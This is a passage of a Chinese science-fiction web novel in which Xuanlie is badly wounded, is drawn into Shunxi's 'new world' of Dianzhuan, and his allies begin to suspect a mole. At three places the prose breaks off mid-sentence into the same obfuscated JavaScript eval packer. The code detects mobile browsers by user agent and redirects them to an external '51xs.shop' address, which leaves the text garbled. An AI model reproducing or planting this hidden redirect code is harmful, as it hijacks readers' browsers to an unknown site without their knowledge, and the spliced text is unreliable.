等琀珏说完这句,玄烈利落地又向前艰难迈了一步。 “我说过,不要走了!” 琀珏似乎被激怒了,纽扣雨再次洪水般扑向对岸。 刹那间,舜真甩出红刃形成保护罩挡在几人面前,除了玄烈。 其他人皆不可思议地看着她。“为什么!”伏策大喊道。 纽扣如子弹一般立刻了冲破“场”,毫无保留砸到玄烈身上。几乎是眨眼,玄烈身上就破了一个又一个洞。 那些纽扣卡在伤口里,在“场‘的干扰下还在不停转动,更深的直接穿透了玄烈的身体,肩膀、腹部、大腿。玄烈摇晃了一阵,咬着牙硬是站住了。 而”场“受纽扣影响开始波动,这一浪一浪的力量像波涛起伏的刀刃,一层层剐蹭着他的大脑。 “嘭”的一声,薄薄的血雾从玄烈口中炸出。 但太轻了,不等他们凝结成半滴血,就被纽扣带来的强风吹到了世界另一边。 意识到舜真真的是故意将脆弱的玄烈隔绝在外,让他承受这些痛苦,伏策当即拔刀就作势要向舜真走去。 但绯篱上前一步挡住了伏策的去路,葵刃也被她收了回来,在她身边悬转着。 定定地望着保护壳外的战斗,舜真突然说了一句,“可以了。” 不知道她是在和琀珏说,还是同玄烈讲。 总之,她的声音坚实有力量,穿破了纽扣雨迅疾的风声,传到了二人耳朵里。 恍惚间,玄烈错把舜真的声音听成了另一个人的声音,他愣了一瞬,后又发觉是自己认错了。 琀珏手往回一撤,纽扣雨便瞬时停息了,纽扣们也立刻化为了乌有。见此,仪琅也不知忌惮着什么,伸手召唤回了飞镖。 这刻,玄烈终于能卸下浑身的力气,脸朝下俯身直直倒了下去。 他是故意这样做的,趴在地上就没人能看清他的表情,就不会显得他太狼狈。 更何况有些更重要的人在天上,仰面躺着岂不是会让她看到身上的伤口。 玄烈手微颤着慢慢摸向自己的腹部。受了这么重的伤,也算刻骨铭心地痛了。 还好,他摸到了那个被纽扣击中的旋钮,还好没有报废。 是伤痛都可以,无论是自己受伤还是失去身边人,只要是痛,就都可以。 旋钮转动的“咔咔”声与他以往走过的所有路相比还更要艰难、更加焦灼。终于,在身边人没有伤亡的情况下,八档达成。 脸侧沾满了地上湿乎乎却异常柔软的沙子,有几颗还入了眼。阳光曝晒下的沙滩温暖之极,刺刺痒痒的,连伤口都不再痛了。 玄烈嗅着腥咸海水的味道,眯着一只眼睛,笑得开心。 似乎又有新的人从屏障那边钻了出来,玄烈耐心听着对方的动向。 声音就那么一瞬,随后就是踩踏沙子的声音,看来只有一个人。 那人落地无声,慢慢地在向他走来。玄烈贴着沙子,感到奇怪。为什么身后的人一点动静都没有? 一道阴影投射下来,是那人靠近了,玄烈尽量保持一动不动。 玄烈头顶,那人停驻,然后是衣物摩擦的声音。那人蹲下来了。 不知怎的,脸有点暖洋洋的,像是被什么光炙烤着,接着是一只白皙修长的手,纤细柔嫩,像是女人的手。 那只手轻轻抚住了玄烈的脸,令他一惊的是,那人的手寒凉刺骨。指尖慢慢滑向玄烈的下颌,再缓缓用力,像是要将玄烈托起来。 不知怎的,玄烈竟莫名跟着其动作,手臂不自觉的支撑,顺着那只手仰起了他伤痕累累的脸。 对视的瞬间,更是有几股无名冷意爬上玄烈后脑。 那是一个金色的面具,阳光下隐隐闪现金属的脉络,大概具有很高的智能性。可表面光滑无比,像是有意在避开机械与科技感,线条平滑圆钝,努力在往艺术层面靠拢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305129|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题在于,整副面具没有一个孔,眼睛、鼻子、嘴,全部封锁着。而面具也没有边,金黄色的壳直接衔接到皮肤,头顶直接延伸到发间。 可她是个人,玄烈望着那飘逸的灰色长发。 她太瘦了,瘦到几乎皮包骨头,仅穿着简单潇洒的战斗装,却显得她很壮实。 因为她身后装着的黑金色外骨骼。 玄烈一瞧就瞧出来这等金属绝对上等货。早在舜真让他点兵时,他就在资料中捕捉到这类似金属的信息。 制作斩翼军身上虹光金甲所用的虹光金,仅仅是合成这种金属原材料的原材料。 但也过于贵重了。连韶赋修都不曾用过的稀有玩意,出现在这里,已经不再是非富即贵那么简单了。 玄烈尚未完全睁着眼睛,毕竟他目前还处在重伤期,还得装着羸弱的样子,连打量对面人都是偷偷转着眼珠打量。 “时间不早了。” 女人轻吐了这么几个字,声音却不像是面具内部发出来的。声线清幽甘冽,光是听两个字就能轻易陷进去,是很方便蛊惑人心的声音。 但就这么一下,玄烈猜出了对面的人是谁。 不得不说,她和舜真的声线,的确还蛮像的。 “走吧。” 女人似乎笑了一下,玄烈刚看到那面具上的嘴角诡异地弯曲了一下,整个人便被一股强劲的力量扯走,扯到他内脏都快要破裂了,像是钻进了时间折叠的隧道,他眼前一亮又一黑。 这是有史以来玄烈体验过的、最神奇的一刹那。 身体的痛苦的,灵魂越仿佛愉悦着要突破躯体的限制,漫长到他清楚地听到皮肉撕裂的声音,快速到他尚未喘息就到达了目的地。 玄烈刚睁开眼时眼前是蓝色的,像是海底城。而后他用力晃了晃脑袋,再睁眼,一切都不一样了。 这里的天空是纯黑的,没有星星,黑色后面还透露着青紫的底色,只是难以察觉。 舜真说颠转是无法改变时间的,这是这个项目最大的缺陷,也是永远突不破的难关。 像黑天又不是,大概造物主在创造这里的时候,有意将这里人为设置为永夜。 但位置有浅浅的一丝变化。玄烈还是趴在地上的,那女人却不见了,自己也不是趴在沙滩上,而是平坦的路。 背后有光打过来,玄烈撑起身子回头望,发现身后竟是舜氏大厦。 “欢迎进入颠转,玄烈。” 一个身穿西装的年轻男人漫步走上前来,伸手将玄烈扶起。 看着对面人的面孔,玄烈问道:“骨环?” 男人点点头,“是我。” 玄烈不解,“你不是在迷宫吗?” 骨环和善地笑了,“颠转是从迷宫展开的,某种程度上来讲,这里也算迷宫的一部分。怎么样,环境还不错吧?我特意将这里造成外面的样子,以便你们到来后能尽快适应。” 大楼的光是明亮而又带有暖意的,投到玄烈身上莫名真的让他有种回家的感觉,尽管他刚从楼里走出来。 “之前和你一起来的女孩,她还好吗?” 骨环这一问问得玄烈措手不及,不能点头又不想摇头,他就这么直愣愣盯着骨环看。 可是这虽然是个问句,但骨环却并不怎么期待玄烈回复的样子。 骨环只微微笑了笑,然后自问自答地说:“她很好。” 130. 新世界(1) 玄烈还没明白骨环这句话什么意思,这个世界的声音便逐渐在他耳中立体起来。 恢弘奔腾的是一刻不息排放的滚滚浓墨色液体,轰隆嗡鸣的是在城市外环挤成一排、将城市包围的各种工厂,迅疾如穿林之矢的是一艘艘那个世界离永璃岛还很远的高科技交通工具。 空气中弥漫着甜到发腻的味道,除了某次误入存放实验原料的仓库,玄烈还没在哪闻到过这种味道,像是鼻腔、喉咙全部浸在石油里,针扎似的痛。而在这股甜味后面,玄烈嗅到不平常的烟味、酸味和腥味。 昏黑的天,灰色的地,楼宇间除了黑白便是五花八门各样刺眼的霓虹荧光灯牌,一座整个岛屿最高的高塔屹立在岛西南边,高强度射灯一视同仁地转着,随机将城市的某一处打亮。 玄烈仰望着舜氏大楼前方高耸的几百栋瘦削的通天建筑,以及其间穿行的游龙一样的长条形建筑,紫绿色的,散发着黑曜石般的光辉,与旧时炬衍描述的一样,真的很像一条不见尾的黄油。 一辆水玉色光滑如水滴的新式隐翼飞车裹着一股风从楼后窜出,从犹如野兽狂袭的速度到减速至近乎于静止不超一秒。 这风浪将那难闻的气味更是推波助澜扑了玄烈一脸,随即,那车停到他面前。 车门开启的声音如同果冻质感的钢珠在金属板上规则滑动,女人缓慢而优雅地走了出来。那副外骨骼看似轻悠,但在女人走路时隐约能发出机械运作低鸣的声响,还算悦耳。 “你们聊,我先走了。” 骨环浅浅一笑,向玄烈和女人分别致礼后竟自顾自走进了大楼,而那女人也没有理会骨环,径直走到了玄烈面前。 “希望这里的场景,没有让你失望。”女人轻声说。 玄烈看着对面人,“你是……舜希?” “啪”的一声,女人打了个响指,“没错。” 浩浩荡荡的脚步声响起,玄烈发觉是脑后传来的,可不知怎得,他脖子僵硬,无论如何也转不回头。 很快那脚步便蔓延出大楼,一模一样的死板、僵硬、铿锵有力,越来越多,还在增加。 玄烈猛地转回身,却看见成千上万名身着各种工作制服的舜氏员工朝他走着。他们整齐划一,表情如僵尸一般凝固,双眼冒着盈盈绿光,每人脖颈与左手手腕处均带有同样发绿的手环。 比起手环,更像是镣铐。 八档的能量在身体里翻腾,隐隐有一些能量在他高强度紧张下外溢着,朦朦胧胧飘到他眼前。 穿过能量雾,玄烈清楚地看到那手环与颈环上连接着的厚重锁链,很长,几乎要拖到地上。 这里的一切早已沦陷。 走到离玄烈有七八米远的位置,人们停下了脚步,像是在等待舜希发号施令。 玄烈不解,“他们都听你号令吗?韶赋修呢?” “老师的行踪你不必要知道。” 未见其人先闻其声,玄烈话音还没落,仪琅的声音就先赶到了现场。 飞车边,琀珏带着仪琅鬼魅一般突然出现。 “呦,你还站得起来呀?”仪琅故意眯起眼笑得猖狂。 玄烈看见他就觉得十分不爽。还好刚从那下已经让他完成目标了,至少现在来说,这两人失去了作用。 数百枚幻影即刻成型,玄烈随手一指便全都毫不拖泥带水地飞了出去。仪琅措手不及刚要防御,袖管里的枪却怎么也甩不出来。 琀珏立刻扣出纽扣就向玄烈甩来,纽扣卷起的小型飓风呼呼地响,带着势如破竹的气势。 幻影们丝毫不逊色于琀珏的纽扣雨,仪琅这边刚拿出飞镖,飞镖就被横飞的幻影给打掉了,转眼间又无情地扎了仪琅一身,扎得他连连叫痛。而这边的纽扣飞到一半就褪去了全部力气,只得在玄烈掌心翻涌的引力场中跌宕起伏。 片刻,幻影全部消失了,琀珏上前要抢他的纽扣,但晚了一步,玄烈伸手将纽扣抓回,藏了起来。 “没收。”玄烈说。 “被、被骗了……”仪琅捂着胳膊咬着牙一瘸一拐走到琀珏身边,“我就说,他怎么可能……那么废物……” “非常好,”舜希笑着说,“我将重建舜氏,届时这里的人会大换血,玄烈,我需要你,统领舜氏机械体,当二队队长。” “包括他们吗?”玄烈伸手指着仪琅和琀珏。 琀珏倒是不为所动,仪琅被这么一指,很不服气地撸起袖子要走过来,却被琀珏揪住了衣领。 “不包括,我们是两个阵营的人,”舜希转向二人,“你们的任务结束了,接下了的事由我办就好,你们可以回去了。” 听此,琀珏转身就走。他的身影很快消失在马路上川流的车潮中,只剩仪琅还十分不快地站在原地喘着粗气。 高楼边五颜六色的荧光打在他脸上异常滑稽,仪琅幼稚极了地“哼”了一声,转过头发现琀珏不见了,这才仓皇地跟了上去。 “既然如此……”玄烈问道,“一队队长是谁?” 舜希微微仰首,朝玄烈身后唤了一声。 “阿盼。” 这两个字一出,一股寒意彻头彻尾地给玄烈一击。 他不主动去看,耳朵却清楚地监测着身后人的动向。他听着那人像是拨开了人群,走得用力,走得紧张。 直到熟悉的身影擦着他的肩膀站了出来,站到他的对面。 为什么总是你? 玄烈没有问出口,阿盼甚至都无法直视他的眼睛。 “阿盼是很好的孩子,一队交给他我很放心,你有什么意见吗?” 玄烈看不到舜希的瞳孔,面具上虚设的眼睛并不能展现出她的眼神和她眼眸的动向。 眼睛同样能传达很多情绪和态度,甚至有时比嘴更要细微和严谨。看不见眼睛是很危险的事情。 “没有。” 在没搞清楚一些事情前,玄烈不想这么快就驳舜希的面子。 “玄烈!” 伏策急切的呼唤从人群里传来,他推开雕像一样静立沉默的人们,小步跑了过来。 待他站定后,舜真和绯篱也走到玄烈身边。这时,一点浅薄的安全感才回归到玄烈身上。 “你是伏策。”舜希往伏策那边靠近了两步。 伏策警惕地后撤了一步,“你是谁?” “你忘了我了。” 舜希这一句话说得有点古怪,语气里捎带清泉般轻俏的意味,还若有似无地带着一点点电音。 “她是舜希。”舜真漠然开口解释道。 “你、你……” 伏策突然哑口无言了,“你”了半天都没说出什么有用的话。好在他的窘迫正中舜希下怀,舜希笑了,笑中带着点嘲讽。 “你也是第一代产品,还是黑羚羊的队长,对吧?如果我想重启黑羚羊……” 伏策的眼睛忽然亮了。 “你愿意再担起队长这个职责吗?” 好在伏策察觉出不对劲,虽然他想,但怎么看现在都不是个好时机。于是他眼神向玄烈求助。 让玄烈与阿盼的一二队作对,再将玄烈与黑羚羊分离。 坏处是原有的力量被貌合神离地拆散,而好处是…… 到处都是他们的人。 玄烈淡淡看了伏策一眼,表示想做就去做。 伏策转向舜希,点点头。 “很好。”舜希欣赏地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13317385|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍了拍伏策的肩膀,下手不轻不重,和她对视的瞬间,伏策也洗脑般露出莫名的笑容。 尽管这笑容在舜希挪开视线后就停止了,伏策后知后觉地发觉刚才有点头发昏。 “小姑娘,你叫绯篱,对吗?”舜希对着绯篱说。 “是。”绯篱乖巧地回应道。 “你是潼氏的人?”舜希问。 “不是,”绯篱回答,“我代表我自己。” “我需要一个助手,代我统管全部的机械体,你来做,可以吗?” 舜希一改方才高高在上的模样,话语间都温柔起来。 无声对视停顿了几秒,绯篱做了一个完全标志的笑容,“当然可以。” “很好,然后……我需要一名总工程师。” 这话舜希是看着前方人群说的,似乎在等待那边走出来一个能应和她的人。 还真有这么个人走出来。 程炼没走到玄烈他们旁边,只是站出了人群,离这边几个人远远的,“我。” “程总,”舜希貌似早料到这一刻,“期待您为舜氏制造出新一代最强体。” “小真、小真!” 一个清脆女声遥远地在大楼深处作响,随后渐渐变大,逐渐靠近,逐渐嘹亮。 遥遥边喊边从楼里挤了出来,像是刚刚来到这里一样,看见舜真的瞬间就扑了上来。 “我跟他们打听,他们都说要杀你!我怕我来晚了!” 遥遥带着哭腔,舜真一听就笑了,但又不好说什么,只好一直摸着遥遥的脑袋,“没事……” “你就是遥遥。”舜希问道。 “你是谁?”遥遥眼角还泛着泪花,“你是机器人?” 没有回答遥遥的话,舜希沉默地略略歪着头盯着遥遥看。 “你看我干什么?”遥遥有点发毛。 “我还需要一个助理,你愿意来吗?”舜希说。 “助、助理?”遥遥在舜真和舜希之间来回望,“你就是舜希?是你要杀小真吧!” “我为什么要杀她呢?”舜希柔和地问,柔和到在场的人都听不出她是真的不知道还是这也是一种讽刺手段。 “你要抢她的位置啊!有她在你就、你就……” 遥遥的声音越来越小,直到她说不出话来。 “有她在我依然能够坐到我想坐的位置上。”舜希说。 “那你还是要杀她!” “她是我的妹妹,我为什么要杀她?” 也对,没有什么证据证明她们有什么矛盾。这句话彻底封住了遥遥的嘴。 “哦,我是你妹妹,你不说,我都忘了。”舜真目光平淡。 “小真。” 舜希低声呼唤了一句,慢慢走了过来,“有我在,你可以放手去做你想做的事情了。” 又是一副居高临下的样子。 “是吗?”舜真冷哼了一声,哼她把架空说得这么清新脱俗。 舜希并不在意舜真的任何反应,她仰视着面前这幢宏伟的楼,俯视楼下所有臣服于她的人们。 对她来说,这里才是名副其实的现实世界。 “颠转全区域仅有一个进出口,开设在舜氏北面,有专人看守,进出需我亲批的通行证。但我奉劝各位还是不必怀着有朝一日逃出去的想法,好好享受这里吧,这有你们想要的一切。毕竟,颠转不可逆哦。” 只见舜希忽地圣母一般张开双臂,天幕中仅有的光亮全部与楼间的光汇合,彼时,高塔的灯也庄严肃穆地缓缓移向这里。 待万物于此地瞩目,远处地平线震颤不堪,风息物默,整个世界为此凝滞。 “欢迎来到,新世界。” 131. 新世界(2) 阴深幽暗的走廊中,玄烈直盯着前方阿盼的背影。 他走得如此焦急不安,垂着的脑袋不曾抬起过。 “阿盼。”玄烈叫了他一声。 阿盼顿时打了个激灵,没听见一样,立刻走得更快了,很快与后面的人拉开了距离,一边走还一边点下了耳边的通讯钮。 “喂,好,我现在就过去……” 一个岔路口,阿盼胖胖的身影一溜烟就消失了。 停在那扇矮窄的通道门边——沉默灰调的阶梯和荧绿色通道标识昭示那里已经没有人了——玄烈双眼出神地望着。 “走吧,”伏策拍了拍玄烈肩膀,“有什么话以后再说,该说清楚总会说清楚的。” 路上,伏策给玄烈讲了他们是怎么样被一道光蒙住了眼,又如何传送一般降临在了这里。 玄烈一边听着,心里一边五味杂陈想着别的事情,到最后就只听见伏策讲他们原本要反抗,却听见舜真说了一句。 “面对是实现击溃的钥匙,我们还不会输。” 此时他们正在前往舜氏顶层的办公室。舜希撬走舜真的位置和权力,但把办公室还是留给了她。 而她本人则远离了舜氏,将办公室设在市区黄金地段的中心大厦里。 遥遥虽不情愿,但还是与绯篱一同跟着舜希走了。 舜真一个人走在前面,玄烈在后面看着她的背影放空。 她的手就随意地搭在身旁,伴随着她走路微微摇摆,袖口扯动隐约露出她的手腕。 她的皮肤,好像有点古怪。 玄烈浅浅眯了眯眼睛,全神贯注将视线锁定在她的手腕上,但他没有声张,任凭伏策在他耳边说着他完全听不进去的话。 怎么会有人的皮肤是灰白色的呢。不是自然的灰白,而像是白皙的手腕表面结了一层薄薄的灰色的霜,霜下是毫无血色的皮肤。 无血色到几乎要透明了,有那么几秒玄烈像是看到了她皮肤下缓慢轻浅流动血液的血管,和血管周遭钉刻着的金属部件。 走廊如此深静,刺鼻的气味也被沉寂的厚墙隔绝在外,锃亮扎眼的冷白灯光从头顶洒落。 玄烈一眨眼,灯暗了半分,再一眨眼,世界又明亮了。 她的手腕恢复如常,没有霜,也不透明。 再后来,玄烈怎么看都没能再见这景象,搞得他自己也一时分不清自己是真看到了还是在臆想。 停在办公室门口,舜真一动不动任门上仪器扫描来者的虹膜与气味来检测身份,随即,门“咔哒”一声开了。 这个世界对于玄烈来说还是未知数,他尚不明白舜希和韶赋修究竟是对手还是合作伙伴,也不清楚舜真托骨环运送至此的“数码人”究竟埋在什么地方。 办公室内装潢依旧,舜真一走进去便恢复了活泼的样子,热情地像往常那样邀请他们喝藏在草方块里的冰镇可乐。 门关上了,但他们知道不会完全关上。因为这里可能每半步一个监听器,隔三米一个摄像头。 舜真破天荒撤去了她贴在窗上模拟雨林的软屏幕,将宽阔落地窗原本的模样展示出来。 “我不喜欢落地窗,很吓人,我每次站在窗边都害怕下一秒窗户破掉我整个人会跌下去。” 舜真端着冰镇可乐笑着说。 她是这么说,却还要往窗边站。这里风景不如从前那样开阔了,放眼望去全是高楼和污染精神的斑斓色块,还有那黑不拉几的丑陋的天。 舜真象征性朝外望了望,品了口可乐,又立马像是喝到古怪东西一般皱起脸盯着可乐看。 “我觉得可乐都有一股霉味。”她说。 半晌,玄烈手里可乐一口没动,舜真就咕咚咕咚把自己那罐喝净了。 她转回身来对着玄烈和伏策笑笑,表示自己先干为敬,后一把瘫坐在椅子上,眼神像是在逐客。 “从今天开始,我唯一能掌控的,大概就只有我这办公室一亩三分地了,她极大概率会对我实行软禁,你们再和我来往,恐怕没有好处。” “那,就这样了吗?”伏策咬着一口气说。 “还能怎么办呢?”舜真咧嘴笑着,笑得意味深长,笑里写着对自己说的话的否定。 潜台词是,“怎么会呢?” 玄烈感受着指针所指的八档能量,到这里,就是旋钮档位的尽头了。 他想问。 就这样吗? 第一战备的力量,就这些吗? 他每次闭上眼,疲惫就像万米高的海浪重重拍打在他身上。这一切还没完,这些力量还远远不够。 所以既然舜真还有办法,那这个办法究竟是什么? “没有明说就代表不是禁止,如果有需要,你还是可以找我们。”玄烈说。 他说这些话是带着点气的。他倒是不怕舜希因此而排斥他,无论哪个阵营,他都是炙手可热的得力助手。 得力助手也可以有点脾气对吧? “咚咚咚——” 敲门声响及时地制止住舜真将要开口赶二人走的话。 “进来。”舜真说。 门刚开了个小缝,向繁森就迫不及待撞开门冲了进来,随之是杨宁,进来后还稳重地关上了门。 “什么情况,我就睡了个觉!天就塌了!”向繁森气得整个人快要红温了。 “别人在工作你在睡觉,你可真行。”杨宁忍住白向繁森一眼的冲动,“被带进颠转的黑寂军已经安置好了,就在……” “你应该通知舜希,而不是我。”舜真说。 杨宁一时有些无措,后略带结巴地窘迫开口,“我报告过了,是她……让我告诉你的。” “告诉我?告诉我有什么用?”舜真干脆双脚搭在了桌边,整个一副摆烂的样子,“她给你安排了什么职位?” “安保部部长。”杨宁说。 “你呢?”舜真扬扬下巴问向繁森。 “安保部……副部长。”向繁森没底气地回答。 “挺好啊!”舜真突然喊了一声,眼角弯出了弧度,随即又更大声喊了一句:“我们都有美好的未来!” 向繁森懵了,他望着舜真,脸色难看嘴角微搐,脚下悄悄往玄烈那边凑,并偷偷问:“喝了二两吧?” 玄烈还没回答,杨宁双手插兜对向繁森哼了一声,“二两?你以为谁都跟你那小鸟酒量似的。” 说罢,杨宁推门便走,“我的话带到了啊,我那边有点忙,回头再来!”留下向繁森冲着他背影低声骂骂咧咧。 “这丫不对劲啊,我刚过来的时候他正跟那谁说话呢,悄悄眯眯的,很可疑。” “‘那谁’,是谁?”玄烈问。 “新董事长,舜希呗!”向繁森始终不肯松懈他那眉间紧锁的忧愁,“哎,我刚才去打听了个遍,你想知道舜希为什么在这么?还有她为什么和韶……” “等等等等,”玄烈制止住向繁森机关枪一样往出蹦跶的一大堆话,“就在这说吗?” “说啊!为什么不说?”向繁森偷偷点了点他手腕新戴的高科技手表,“别忘了,我安保部的!” 只见他轻点表侧一颗墨蓝色小钮,一环拳头大的全息影屏便被呈现在他手腕上。 圆内浅绿色线条描绘的是整个舜氏大厦的精细图,他双指拨动放大,轻而易举锁定到了舜真的办公室。 和玄烈预想的没错,不大的空间内密密麻麻全是红色黄色的点,代表监听器和摄像头。 向繁森掌心一划,这些点就全部黯淡下去,变成深灰色的点。 “就这样?”玄烈问。 “就这样。”向繁森得意地说。 “舜希那里第一时间就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13333811|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会知道这些设备被切断了吧。即使我们没说什么,现在也变成在密谋了。”玄烈说。 此话一出,向繁森看向玄烈,他什么话都没说,晦暗的眼神才真像是天都塌了。 沉寂了三秒后,他连忙摁开表盘又要打开,玄烈摁住了他,“关都关了,就这样吧。” “要是她把我炒了怎么办?”向繁森欲哭无泪,“城区外面已经建起来贫民窟了,我不想去那!” 玄烈沉了口气,拨开向繁森因极度紧张而绷紧的手,“不会的,还有我们,怎么着都能把你保下来。” 哪知向繁森脸色当即就一百八十度大转弯,又乐起来了,还狡黠地搓搓手,“那就好哈!” 玄烈感觉自己好像被骗了。 “说回正事,”向繁森随手找了个石凳子毫不客气地坐下,“告诉你们一个意想不到的事情,这个世界,只有舜希,你们明白我的意思吗?” “只有,舜……”伏策显然不太懂。 “就是只有她,没有韶赋修。” “韶赋修没来?为什么?”连舜真都放下了腿,直起身来一本正经地听向繁森讲。 “这个我不清楚,”向繁森耸耸肩,“不过他的产业是在这里的,只是不知道谁在运作。重点在于,韶赋修和舜希是合作而非同盟,他们一起促成了颠转……说到颠转,我发现,咱们的人里,有内鬼!” “谁是内鬼?” 向繁森总是话说半截喘口气,玄烈话语里有点无奈。 “杨宁。”向繁森鬼里鬼气地说。 “杨叔,为什么?” 玄烈不能相信,虽然他嘴上问的是“为什么”,但实际的意思是:“怎么可能?” 向繁森神秘兮兮地抱起手臂,“舜希只有密钥,正式启动颠转还需启动一台特制的颠转仪器,但是这台仪器放在舜氏大楼里,舜氏来往森严,何况这是顶级机密,她,或者韶赋修,是怎么启动颠转的呢?” 很早之前玄烈就想问舜真这个问题,可苦于天时地利人不和,导致这个问题一直搁置在这里。 “其实,启动颠转的那个人,我看到了,还看得一清二楚。” “谁!”伏策野牛一样扑到向繁森面前,眼里熊熊怒火像是要把此人抓住且碎尸万段。 “还是杨宁。”向繁森说。 “你确定,确定看见的是,他?”玄烈艰难地说。 “百分之百,”向繁森回以更加笃定的眼神,“我看他可疑,所以就一直通过监控观察他的行踪,直到他出现在存放机密设备的密室门口,监控莫名损坏,然后颠转就开始了。” 看着玄烈愁眉不展和伏策怒气冲天,以及舜真若有所思的样子,向繁森满意地翘起了二郎腿。 “关于这件事,我追问过他,但他一直支支吾吾的,没给我一个确切的答案,所以,我认定,这个内鬼就是他没错!就是因为这件事,他才能够压我一头!当正部长!” 几句话从低到高依句递增,直至最后向繁森几乎是喊出来的,听得玄烈一时汗颜。 但是如果真的如此,那么杨宁也就变成了玄烈到这里来的第一个调查目标。 无论他是被洗脑或是另有隐情,至少现在有事可做了。有目标就是好事,免得闲下来总是东想西想。 舜真不着急说的话,他们也没必要急着问了,等过两天找时间再问舜真她葫芦里究竟卖着什么药吧。 窗外霓虹闪烁,天空迷蒙之际像是开始飘小雨,白汽腾升,色彩纷呈。 向繁森他们又说了点什么,不是重要的话玄烈没太听进去,等到后来舜真赶他们走,交谈这才停息。 离开之前玄烈又看了几眼那扇宽阔的窗和窗外之景,他忽地想到去原先珣魑山附近的向日葵海看看。 不知道那是否被高楼大厦掩盖了,还能不能找到过去的人。 132. 永璃之眼(1) 这个世界,时间以一种难以理解的速度消逝着。在这里人们一天二十四小时被分为四个时块,分别用于工作、休息、工作和休闲。 以至于玄烈站在新式时钟面前半天都看不出现在究竟几点了。 入职是下午,玄烈特意起个大早,在人们所规定的“休息”时间仅过去一半就切断休眠了。他以为这样路上的人能少点。 但他还是低估了这里机械化的生活模式。 今天和昨天没有区别,明年和去年也是。所谓休息时间也只是舜氏大多数员工的休息时间罢了,出了舜氏的地界,没有人会遵循这一套时间表。 人与人之间没有商量和妥协,休息时间需要处理的时间基本交由人工智能完成,工作时间便像僵尸一样双耳不闻窗外事地玩命干活,下一秒世界末日了也不在乎。 天阴沉沉的,看来昨日的雨还没消停。 新职位新气象,玄烈终于也睡上了安静宽敞的单人间。他没带雨伞,随意从门边取下一个戒指大小的黑色橡胶质颗粒便出了门。 颗粒是虚拟雨衣的胶囊形态,往头顶一抛便自动幻化成了不可见的雨衣形态。随便在雨里如何漫步奔跑,水滴是半点都溅不到身上的。这也是舜氏的产品。 虽然新永璃大变样,玄烈依然凭借着两次游珣魑山的经历,分毫不差地向那个方向走着。 路太窄了,一些街区甚至把高楼修剪成了锥子形,让车马全到天上去飞,地下仅留几人宽的马路。 不愿意坐车但有条件的人们也大都使用便携飞行器通勤,于是不会有哪里比地面更安全,也就无需设置红绿灯。 玄烈绕过街角好几家花店,逛来逛去却都没挑出一支他满意的花,又想着那里之前是种满向日葵的,大概是不是也不需要买花了呢? 可是他在网上搜到的是,大部分人去看爱人是都是要带花的。 现在的花很少了,永璃岛寸土寸金,很少有人会种大片的花。玄烈一连走过一片姿态各异的花,没闻到半点花香气,倒看出这些都是假的。 大概是人们都觉得花华而不实,鲜少买真花了。那些假的虽然漂亮得不像话,而且各有各的用处,比如有的能变成戒指、胸针或是本就用昂贵金属做的,用于收藏,但玄烈还是觉得差点意思。 “有真花吗?要玫瑰。”玄烈问道。 老板淡漠地看了他一眼,“有,在冷库里放着,很贵的。” 玄烈看了看自己身上那不太高档的服装。这是舜氏新发的制服,比起衣服更像一副软壳,版型还不错,就是灰扑扑的,深灰与银色在肩膀袖口处有走线。样子还可以,很适合战斗,但确实一看就跟精英显贵搭不上边。 “我有钱。”玄烈说。 老板没说什么,臃肿的身体在花架间挤来挤去,后一头扎进矮小的地下室,又好半天,取出一支红色玫瑰。 “唯一一支了,想要更多的没有。” 离开花店,玄烈轻轻捧着那支被简易包扎的花,拿在手里轻甸甸的,还有点冰冰凉,隐约散发着冷库带来的寒气,包装上还系了个蝴蝶结。 这玫瑰真红啊,这是玄烈见过的最红的玫瑰花了,红得像是用墨水染的,红得好像能滴下血来。 越靠近却越没有山的模样,看来出发前一天向繁森说的是对的。那些人在这个世界复刻永璃岛时,将整座珣魑山推减磨平了。 玄烈不由得有些紧张,他本就不知道那衣冠冢的具体方位,只闷头想着向日葵就来了。万一找不到怎么办?万一那已经变成了一座楼,或是在马路正中央怎么办? 他还想和她说点话的,站在马路中间对着地喃喃自语,不好吧? 想着想着,玄烈都没发现自己紧攥的玫瑰花茎快被他折断了。 穿过楼间如同行走在深渊之底,幸好路是越走越开阔的,拨开层层巨楼遮挡后,视野忽地明亮起来。 很快视野又暗了。 玄烈盘算着这里大抵就是目的地,可惜的确不见那大片大片的向日葵了。四周四座高楼将这里团团围堵,中心这一片地没有新建筑,就如天井一般,空无寂寥。 中间有一方边长近十米的洞,周围有木质栅栏围挡,一时看不清洞里有什么。 让玄烈眼神一黯的正是靠在栅栏上的那个人。这里没有别人进进出出走动,唯有那一个人趴在栅栏边,一动不动垂头往洞里空洞地张望着。 